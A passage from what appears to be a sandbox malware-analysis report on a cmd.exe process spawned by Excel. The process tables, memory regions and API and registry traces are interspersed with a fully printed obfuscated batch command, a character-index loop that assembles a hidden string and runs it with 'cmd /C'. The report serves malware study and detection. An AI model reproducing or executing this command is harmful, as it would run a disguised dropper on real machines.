20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:47, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:54
OS Process Information
»
Information Value
PID 0xad8
Parent PID 0x8c8 (c:\program files\microsoft office\root\office16\excel.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x ADC
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
private_0x0000000000050000 0x00050000 0x0014ffff Private Memory rw True False False -
locale.nls 0x00150000 0x001b6fff Memory Mapped File r False False False -
pagefile_0x00000000001c0000 0x001c0000 0x001c6fff Pagefile Backed Memory r True False False -
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory rw True False False -
private_0x00000000002d0000 0x002d0000 0x003cffff Private Memory rw True False False -
pagefile_0x00000000003d0000 0x003d0000 0x003d1fff Pagefile Backed Memory rw True False False -
private_0x00000000003e0000 0x003e0000 0x003e0fff Private Memory rw True False False -
private_0x00000000003f0000 0x003f0000 0x003f0fff Private Memory rw True False False -
private_0x0000000000470000 0x00470000 0x0047ffff Private Memory rw True False False -
pagefile_0x0000000000480000 0x00480000 0x00607fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000610000 0x00610000 0x00790fff Pagefile Backed Memory r True False False -
pagefile_0x00000000007a0000 0x007a0000 0x01b9ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001ba0000 0x01ba0000 0x01ee2fff Pagefile Backed Memory r True False False -
private_0x0000000001ef0000 0x01ef0000 0x01feffff Private Memory rw True False False -
private_0x0000000001ff0000 0x01ff0000 0x021effff Private Memory rw True False False -
sortdefault.nls 0x021f0000 0x024befff Memory Mapped File r False False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory rw True False False -
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory rw True False False -
Threads
Thread 0xadc
13323 0
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2018-10-24 06:16:14 (UTC) True 1
Fn
System Get Time type = Ticks, time = 115362 True 1
Fn
Module Get Handle module_name = c:\windows\system32\cmd.exe, base_address = 0x4a210000 True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadUILanguage, address_out = 0x77b36d40 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 3
Fn
File Open filename = STD_INPUT_HANDLE True 2
Fn
Environment Get Environment String - True 2
Fn
Data
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT False 1
Fn
Environment Set Environment String name = PROMPT, value = $P$G True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CopyFileExW, address_out = 0x77b323d0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x77b28290 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x77b317e0 True 1
Fn
Environment Get Environment String name = 0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for False 1
Fn
Environment Get Environment String name = 9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW False 1
Fn
Environment Get Environment String name = 9,1!&&if False 1
Fn
Environment Get Environment String name = 9 geq 84 cmd /C!Rc False 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc False 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 18 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!E True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!Ec True 1
Fn
Environment Get Environment String name = lW, result_out = o.crm`VPx57^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF|C\Hwk&)WAIDn+}h4,sg6;3 R""ON True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 26 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 19 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 10 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = Rc, result_out = !Rc!Ech True 1
Fn
